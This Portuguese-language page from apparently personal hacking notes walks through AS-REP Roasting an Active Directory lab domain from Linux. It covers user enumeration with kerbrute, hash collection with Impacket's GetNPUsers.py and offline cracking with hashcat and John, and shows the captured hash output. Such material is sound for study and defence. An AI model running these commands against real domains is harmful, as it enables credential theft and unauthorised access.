> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/active-directory/kerberos/as-rep-roasting-from-linux.md).

# AS-REP Roasting no Linux

Notas de segurança do Active Directory para AS-REP Roasting no Linux, cobrindo enumeração, Kerberos, credenciais, abuso de ACL, movimentação lateral, fluxo de exploração e etapas de validação.

### Criando uma lista de usuários

Criamos um arquivo:

{% code overflow="wrap" %}

```bash
user1
user2
beverlie.carmel
Administrador
astrid.niki
```

{% endcode %}

### Verificação com Kerbrute

{% code overflow="wrap" %}

```bash
kerbrute userenum -d whoami.local --dc dc01.whoami.local users
```

{% endcode %}

No Wireshark, podemos observar que os usuários clássicos solicitam pré-autenticação, enquanto `astrid.niki` pode retornar uma resposta utilizável.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4293af4290769ffb000e4e0acf34eddaec3ccbd%2F%7B90DC9C2A-5DC2-4429-B0C8-D66B1D4FE906%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
fba3c5e54d99add970100f90d1de4f0838e6dc3338dad6eace2abdb8f808d895c619a11291ca8e1b0bd9a914bb2c36b306b471bce9e84db1fe348df08287e76d07857f9633222f19e8a5912cd88ce2cec025b0bcc04f81c35ca215df43e366de5270b0b4ad6188311402e058efc7a0e967c2235f97c74c4e0c0fdf072cb41e04496f53cfebe36e25538027c092469b3415f7493017a7824c71d73fcc7f2da6f04555393356e6204277ef74d15d081401bc0dc8498df074e14607c276da9e05314102eeae6f676d26c91312018cf03d25387c4fe197892cf14f7010609c78d55f4c3b0abb665e261001ff1c9ea0d6ff36749d6dc3673e2ab3d0114ec33b905114affe735543051a356ba87fb615a8a281
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fdc801b5d487841e007c39dcc2d06b0fa802d065%2F%7BFD219DD9-AE79-4FF9-9A7D-FE382A0FDD36%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Coleta automatizada com GetNPUsers

Do Impacket `GetNPUsers.py` a ferramenta automatiza o AS-REP Roasting.

Sem credenciais válidas:

{% code overflow="wrap" %}

```bash
GetNPUsers.py whoami.local/ -dc-ip 172.16.0.100 -users users -format john -outputfile asrep2.hash
```

{% endcode %}

Este comando:

* lê usuários do arquivo `users`;
* contata o controlador de domínio;
* recupera hashes AS-REP de contas vulneráveis;
* salva o resultado no formato do John.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d680b901e9f95ad76ef3e3b38a04312dc4e98932%2F%7BD19780C9-E5A1-4276-B4B9-C422E4CAD6ED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```powershell
$krb5asrep$astrid.niki@WHOAMI.LOCAL:bc9843638ed7c638b55662f327b2540f$a8fb43644825579cd42a645a07f8d90518ca48a637803277bea0af640a3c21ce529f9d4c560084c765b0b64437d57b3d9fa5271d3efd026633bb8d9b5ccafa07d8e52682437b74f69e72307884cbd2b35fa3a3c6fa3cc236ed6d01d7ae125ec5b0e94f3f2e9143c170bd95dc3cebad2e60c5edf2eb7d3b873f2084aaf1661aa66693d0c51b0080f61fa04801a59fef0c356b212e541e036a40e67ca5e30a12e6ae8bbc54dac3144e815635f0c5785c27b39e9a5cdc3c653f46cc9ebaf59ddcc5ebee06ab7b7057fa27189a8c502e8db8d19c83d493b43ba80b08629ff7e26be9241bd75aec33824f2b484c5d
```

{% endcode %}

### Quebrar com Hashcat

No Hashcat, o modo Kerberos AS-REP é 18200:

{% code overflow="wrap" %}

```bash
hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
```

{% endcode %}

### Quebrar com John

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt asrep2.hash
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47e731b9a9de1b19902895bab5e51d39b417a461%2F%7B883A4EBA-A2A7-4D26-A1EC-0FDCAB08045C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Com credenciais válidas

Se você tiver as credenciais de um usuário do domínio, também pode consultar AS-REPs passíveis de roasting para os usuários em questão:

{% code overflow="wrap" %}

```bash
GetNPUsers.py whoami.local/user1:Password123 -dc-ip 172.16.0.100 -format john -outputfile asrep2.hash
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2a1bbb1721ae3af960e8fadb6d3aef03ac2812d3%2F%7BE0F44248-8E0E-422C-A72D-AF4116CBFC43%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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